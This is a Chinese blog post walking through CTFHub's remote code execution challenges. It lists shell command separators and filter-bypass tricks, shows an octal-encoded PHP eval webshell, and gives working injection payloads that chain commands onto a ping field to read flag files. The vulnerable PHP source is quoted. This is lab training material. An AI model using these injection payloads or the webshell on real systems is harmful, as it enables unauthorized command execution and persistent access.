Loading

CTFHub_技能树_远程代码执行

RCE远程代码执行

命令分割符:

linux:

%0a 、%0d 、; 、& 、| 、&&、||

分隔符 描述
; 如果每个命令都被一个分号(;)所分隔,那么命令会连续地执行下去
&& 前面执行成功后面才会执行
& 不执行错误检查和运行所有命令
|| 前面执行失败才会执行后面
| 符号 左边输出 作为右边输入。会显示最后一个命令的执行结果

windows:

%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

敏感字符过滤绕过:

关于命令执行以及常见的一些绕过过滤的方法

  1. 使用拼接绕过

    a=fl;b=ag;cat $a$b
    
  2. 使用编码绕过

    • base

      echo MTIzCg==|base64 -d		#123
      
    • hex

      echo "313233"|xxd -r -p		#123
      
    • oct

      $(printf "\154\163")		#ls
      #可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
      ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
      
  3. 反斜杠

    ca\t fl\ag

  4. 单引号和双引号绕过

    ca''t flagca""t flag

  5. ${}执行代码

    ${phpinfo()};

过滤空格:

空格可以用以下字符串代替:

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

命令注入

题目信息:

RCE_command_1

尝试命令注入:

RCE_command_2

看到有一个php文件,8061098418328.php,直接用cat,但是没有显示。

RCE_command_3

解法一:

考虑到可能有无法显示的特殊字符,使用base64输出

RCE_command_4

<?php // ctfhub{695122f1d00f32ff2578f119f563cdc507df7b8c}

解法二:

尝试写入一句话后门:

RCE_command_5

后门写入成功

RCE_command_6

获得flag

RCE_command_7

过滤cat

本题过滤了cat

使用ca\t绕过

没有回显,尝试通过查看网页源代码,或者base64输出解码得到flag

过滤空格

RCE_space_1

使用<代替空格:

解法一:

base64

RCE_space_2

解法二:

127.0.0.1&cat<flag_21154267199923.php

查看源代码:

RCE_space_3

过滤分割符

查看目录下的文件:

过滤分割符1

由于过滤了\,考虑先切换到相应目录,在进行查看:

127.0.0.1&cd flag_is_here;ls

过滤分割符2

可以选择base64或查看网页源代码

这里我选择直接查看源代码

127.0.0.1&cd flag_is_here;cat flag_3975901425465.php

过滤分割符3

过滤运算符

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||\&)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

过滤了|&,使用;分隔命令:

过滤运算符1

直接给出payload:

127.0.0.1;cat flag_35923221712564.php

127.0.0.1;base64 flag_35923221712564.php = 127.0.0.1;cat flag_35923221712564.php|base64

过滤运算符2

综合练习

先看源代码:

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

过滤清单还是比较豪华的。

尝试绕过:

使用%0a分隔命令,使用%09代替空格

查看当前目录下的文件:

综合练习1

查看flag_is_here文件夹下的文件:127.0.0.1%0als%09*is_here

综合练习2

查看flag:

构造payload127.0.0.1%0acd%09*is_here%0atac%09*_32560754932548.php

综合练习3

posted @ 2020-03-21 21:07  chalan630  阅读(1213)  评论(0编辑  收藏  举报